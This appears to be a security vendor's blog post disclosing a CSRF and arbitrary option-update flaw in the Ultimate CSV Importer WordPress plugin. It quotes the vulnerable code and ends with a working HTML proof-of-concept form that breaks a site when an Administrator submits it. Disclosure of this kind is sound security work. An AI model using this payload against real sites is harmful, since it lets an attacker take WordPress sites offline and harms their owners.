18 Dec 2018

Our Proactive Monitoring Caught a CSRF/Option Update Vulnerability in a WordPress Plugin That Could Disable Websites

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a vulnerability a plugin with 10,000 installs (according to wordpress.org), Ultimate CSV Importer, that could allow an attacker to cause someone logged in as Administrator to fully disable the website just by getting them to access a page the attacker control’s (say with a link in a comment). With non-default settings the vulnerability could be exploited users with the Author or Editor role, or by getting them to access a page controlled by an attacker.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin controls when the plugin’s admin pages are shown with the following code:

52
53
54
55
56
57
if ( apply_filters( 'sm_uci_enable_setup_wizard', true ) && is_user_logged_in() &&  current_user_can( 'administrator' ) ) {
	add_action( 'admin_menu', array( __CLASS__, 'admin_menus' ) );
}
if ( is_user_logged_in() && ( current_user_can( 'author') || current_user_can('editor') ) && $is_author_can_import == 'on' ) {
	add_action( 'admin_menu', array( __CLASS__, 'admin_menus_for_other_roles' ) );
}

So normally only Administrators have access to them, but if the “Allow authors/editors to import” setting has been set to “yes” then Authors and Editors can access them.

The handling of displaying the admin pages starts with the function sm_uci_screens(), which will then run the function show_import_screen() if the GET or POST input “page” is set to “sm-uci-import”:

94
95
96
97
98
99
100
101
102
public static function sm_uci_screens() {
	global $uci_admin;
	$uci_admin->show_top_navigation_menus();
	switch (sanitize_title($_REQUEST['page'])) {
		case 'sm-uci-dashboard':
			$uci_admin->show_uci_dashboard();
			break;
		case 'sm-uci-import':
			$uci_admin->show_import_screen();

With the show_import_screen() function, if the GET or POST input “step” is set to “mapping_config” then an arbitrary WordPress option (setting) specified by the GET or POST input “eventKey” will be update to a value modified by the POST input sent with the request:

155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
public function show_import_screen() {
	global $uci_admin;
	$parserObj = new SmackCSVParser();
	$uci_admin->show_notices($parserObj);
	$step = isset($_REQUEST['step']) ? sanitize_title($_REQUEST['step']) : '';
	switch ($step) {
		case 'import_file':     // Step one
			include ( 'views/form-file-import-method.php' );
			break;
		case 'suggested_template':
			# NOTE: Removed the suggested template view
			break;
		case 'mapping_config':  // Step two
		exit('test');
			if(isset($_REQUEST['eventKey']) ? sanitize_key($_REQUEST['eventKey']):'' ) :
				if(isset($_POST) && !empty($_POST)) :
					$_POST  = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING);
					$parserObj->screenData = array('import_file' => $_POST);
					update_option($_REQUEST['eventKey'], $parserObj->screenData);

As we found when looking into another similar vulnerability, by replacing the “template” option with content like could be set with this you can disable the frontend and admin area of the website.

Proof of Concept

The following proof of concept will break the website, when logged in to WordPress in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=sm-uci-import&step=mapping_config&eventKey=template" method="POST">
<input type="hidden" name="test" value="test" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.